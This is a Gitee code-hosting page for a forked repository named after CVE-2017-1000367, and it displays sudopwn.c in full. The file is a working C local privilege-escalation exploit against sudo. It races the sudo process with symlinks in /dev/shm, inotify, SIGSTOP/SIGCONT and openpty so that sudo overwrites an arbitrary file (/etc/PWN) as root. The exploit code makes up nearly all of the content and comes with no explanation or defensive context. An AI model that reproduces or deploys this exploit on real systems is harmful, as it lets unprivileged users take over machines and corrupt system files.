1 Star 0 Fork 3

TsengDuke/CVE-2017-1000367

forked from bjking/CVE-2017-1000367 
加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
sudopwn.c 1.90 KB
一键复制 编辑 原始数据 按行查看 历史
bjking 提交于 2017-06-01 17:41 . 更新 sudopwn.c
#include <errno.h>
#include <linux/sched.h>
#include <pty.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#define EVENT_SIZE ( sizeof (struct inotify_event) )
#define EVENT_BUF_LEN ( 1024 * ( EVENT_SIZE + 16 ) )
int main( )
{
int length, i = 0;
int fd;
int wd;
char buffer[EVENT_BUF_LEN];
int master, slave;
char pts_path[256];
struct sched_param params;
params.sched_priority = 0;
mkdir("/dev/shm/_tmp", 755);
symlink(pts_path, "/dev/shm/_tmp/_tty");
symlink("/usr/bin/sudo", "/dev/shm/_tmp/ 34873 ");
fd = inotify_init();
wd = inotify_add_watch( fd, "/dev/shm/_tmp", IN_OPEN | IN_CLOSE_NOWRITE );
pid_t pid = fork();
setpriority(PRIO_PROCESS, pid, 19);
sched_setscheduler(pid, SCHED_IDLE, &params);
if(pid == 0) {
execlp("/dev/shm/_tmp/ 34873 ", "sudo", "hello", NULL);
}else{
length = read( fd, buffer, EVENT_BUF_LEN );
while ( i < length ) {
struct inotify_event *event = ( struct inotify_event * ) &buffer[ i ];
if ( event->len ) {
if ( event->mask & IN_OPEN ) {
kill(pid, SIGSTOP);
inotify_rm_watch( fd, wd );
close( fd );
while(strcmp(pts_path,"/dev/pts/57")){
openpty(&master, &slave, &pts_path[0], NULL, NULL);
};
kill(pid, SIGCONT);
}else if ( event->mask & IN_CLOSE_NOWRITE ) {
kill(pid, SIGSTOP);
inotify_rm_watch( fd, wd );
close( fd );
unlink("/dev/shm/_tmp/_tty");
symlink("/etc/PWN", "/dev/shm/_tmp/_tty");
kill(pid, SIGCONT);
break;
}
}
i += EVENT_SIZE + event->len;
}
}
unlink("/dev/shm/_tmp/_tty");
unlink("/dev/shm/_tmp/ 34873 ");
rmdir("/dev/shm/_tmp");
close(master);
close(slave);
}
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
1
https://gitee.com/tsengduke01/cve-2017-1000367.git
[email protected]:tsengduke01/cve-2017-1000367.git
tsengduke01
cve-2017-1000367
CVE-2017-1000367
master

搜索帮助